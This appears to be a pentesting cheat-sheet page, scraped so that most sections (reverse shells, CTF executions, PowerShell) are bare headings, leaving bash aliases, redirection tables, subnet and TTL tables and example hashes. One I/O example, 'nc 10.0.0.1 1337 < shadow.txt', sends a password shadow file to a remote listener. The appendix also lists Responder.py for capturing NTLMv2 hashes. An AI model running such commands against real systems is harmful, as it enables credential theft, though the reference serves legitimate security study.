Field Manual


Table of Contents


0x00 — Quick Reference 🚀

Tips & tricks of the more ultra rare, spicy, variety.

0x01 — Reverse Shells 🐚

On opposite day are reverse shells, bind shells? 💙

Linux 🐧

Python 🐍

0x16 - Quality of Life 🤕

Bash-ish

I/O 💻

I/O OPUSAGE
1> results.txtstdout writes to the file
2> stderr.txtstderr writes to the file
&> out.txtstdout & stderr write to the file
nc 10.0.0.1 1337 < shadow.txtSend file input to 10.0.0.1:1337
  
COMMANDEXAMPLEINFO
fmtcat words.txt | fmtFormats stdin into paragraphs.
prcat words.txt | fmt | prFormats stdin into pages.
lprcat words.txt | fmt | pr | lprSends stdin to a printer.
trcat /dev/urandom | tr -dc '[:alnum:]'Output random password from /dev/urandom
   
   
   
   
   

 

Change iface names 🥅

Realtek Driver Install 🔨

WiFi Monitor Mode 🔎

Kismet Setup 💋

Kali Pinned on Ubuntu 🐲

Kali Missing Key Fix 🐲

Netfig 🥅

pv utility 🔨

Password Dump Search 🔍

Nix Fix

.bash_aliases 👻

ALIASESINFO
alias ..='cd ..'cd command shortcut
alias ...='cd ../../../'cd command shortcut
alias ....='cd ../../../../'cd command shortcut
alias .2='cd ../../'cd command shortcut
alias .3='cd ../../../'cd command shortcut
alias .4='cd ../../../../'cd command shortcut
alias .5='cd ../../../../../'cd command shortcut
alias _='sudo'sudo command shortcut
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminalalert a notification popup
alias bc='bc -l'bc command fix
alias c='clear'clear command shortcut
alias chgrp='sudo chgrp --preserve-root'sudo command shortcut
alias chmod='sudo chmod --preserve-root'sudo command shortcut
alias chown='sudo chown --preserve-root'sudo command shortcut
alias chownd='sudo chown -R --preserve-root $USER:$USER'sudo command shortcut
alias dd='dd status=progress'Status is always progress
alias dr='docker run -it'Run container interactively
alias drm='docker run -it --rm'Run container then remove
alias drme='docker run -it --rm -e HOME=$HOME -v $HOME:$HOME -w $PWD -u $(id -u):$(id -g)'Run container with env variables
alias egrep='egrep --color=auto'*grep command shortcut
alias exot='exit'exit typo fix
alias ff='sudo find . -type f -iname $1 2>/dev/null'find a file from the current dir
alias fgrep='fgrep --color=auto'*grep command shortcut
alias grep='grep --color=auto'*grep command shortcut
alias halt='sudo /sbin/halt'sudo command shortcut
alias ipt='sudo iptables'iptables command shortcut
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'iptables command shortcut
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'iptables command shortcut
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'iptables command shortcut
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'iptables command shortcut
alias l='ls -CF'ls command shortcut
alias la='ls -AF --color=auto'ls command shortcut
alias lc='cat -n'cat with line numbers
alias less='less -S'Do NOT wrap lines in less
alias lh='ls --color=auto -lisAdhF .[^.]*'ls command shortcut
alias ll='ls -lhF --color=auto'ls command shortcut
alias lla='ls -lAhF --color=auto'ls command shortcut
alias ls='ls --color=auto'ls command shortcut
alias mkdir='mkdir -pv'mkdir folders verbosely
alias netstat='sudo netstat -plan'netstat all listening ports
alias path='echo -e ${PATH//:/\\n}'echo current $PATH variable
alias ping='ping -c 3'Do NOT ping continuously
alias poweroff='sudo /sbin/poweroff'sudo command shortcut
alias reboot='sudo /sbin/reboot'sudo command shortcut
alias reload='reset; . ~/.bashrc; . ~/.bash_aliases'Reload bash with proper env
alias rm='rm -I --preserve-root'rm interactively
alias rms='shred -uz'rm securely
alias shutdown='sudo /sbin/shutdown'sudo command shortcut
alias txz='tar --xz -xf'Un-tar xz files
alias tzx='tar -zxf'Un-tar gzip files
alias wget='wget -c'Continue wget downloads

log terminal sessions

Shortcut directories

Firefox Profiles

firefox --noremote --ProfileManager

##

0x10 - Linux 🐧

General Debian/Ubuntu based distro copy-&-paste-able commands

0x11 — BinaryID 📇

objdump 🚚

0x12 — Everythin netcat 🐱

0x13 — D/encoding Data 🔑

CyberChef 🕵

Base64 🤙

0x14 - RECON 👀

DNS Enumeration 📛

Mirror sites 🔀


0x15 — CTF 👮

Work arounds for restricted shells.

Executions 🔫

File Downloads

Secure Deletion 🔐

0x20 — Windows 🤖

0x21 — CMD 👴

0x22 — Powershell 💪


0x30 - Placeholder

0x31 TBD

0x40 — Alternatives ♻️

0x41 — XMLHttpRequest.js 🕸

0x50 - Networking 🤓

0x51 - Reference Tables

TTL Fingerprints 🤞

OPERATING SYSTEMTTL SIZE
Windows128
Linux64
Solaris255
Cisco / Network255

Classful IPv4 Ranges 🔩

CLASSIP ADDRESS RANGE
A0.0.0.0 - 127.255.255.255
B128.0.0.0 - 191.255.255.255
C192.0.0.0 - 223.255.255.255
D224.0.0.0 - 239.255.255.255
E240.0.0.0 - 255.255.255.255

Private IPv4 Ranges 🔩

CLASSRANGE
A10.0.0.0 - 10.255.255.255
B172.16.0.0 - 172.31.255.255
C192.168.0.0 - 192.168.255.255
D127.0.0.0 - 127.255.255.255

IPv4 Subnets 🔩

CIDRDECIMAL MASKNUMBER OF HOSTS
/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2496 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0512 Host
/22255.255.252.01022 Hosts
/21255.255.248.02046 Hosts
/20255.255.240.04094 Hosts
/19255.255.224.08190 Hosts
/18255.255.192.016382 Hosts
/17255.255.128.032766 Hosts
/16255.255.0.065534 Hosts
/15255.254.0.0131070 Hosts
/14255.252.0.0262142 Hosts
/13255.248.0.0524286 Hosts
/12255.240.0.01048674 Hosts
/11255.224.0.02097150 Hosts
/10255.192.0.04194302 Hosts
/9255.128.0.08388606 Hosts
/8255.0.0.016777214 Hosts

0x52 - DIY Servers 🖥

0x56 - Mounting Shares 🐧

0x57 - SMB Enum 🐧

0x58 - NetBIOS/LLMNR 🛂

0x59 - Port Forwarding 🚡

Windows 👴

Linux 🐧

SSH Local Forward Example

SSH Remote Forward Example

 


0xFF - Appendix 💦

LinkUsage
SimplyEmailEmail enumeration tool hosted on Github.
udp-proto-scannerUDP protocols scanner hosted on Github.
Responder.pyNetBIOS/LLMNR Poisoning and Spoofing tool to capture NTLMv2 Hashes, hosted on Github.
plink.exeLink to download the x64 plink binary from the PuTTY project, for Remote Port Forwarding.
  
  
  

Alt. References 🔗

Hash Reference 🥔

HASHSIZE
MD5 Hash Length16 Bytes
SHA-120 Bytes
SHA-25632 Bytes
SHA-51264 Bytes
HASHEXAMPLE
MD5 Hash8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hashb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9664fbb7adf72492e3c81ebd3e29134d9bc12212bf83c6840f10e8246b9db54a4859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8d89b8ab65142c9a8fdafb635fa2223c24e5558fd9313e8995019dcbec1fb584146b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6efa72adf8a7a08d7939550c244b237c72c7d42367544e826c0c83fe5c02f97c0373b6b1386cc794bf0d21d2df01bb9c08a
NTLM Hashb4b9b02e6f09a9bd760f388b67351e2b

John the Ripper 🔪

Hydra 🐉


Cheat Sheets 👀

IoT/Hardware Reverse Engineering (PDF)

Nmap Enumeration (PDF)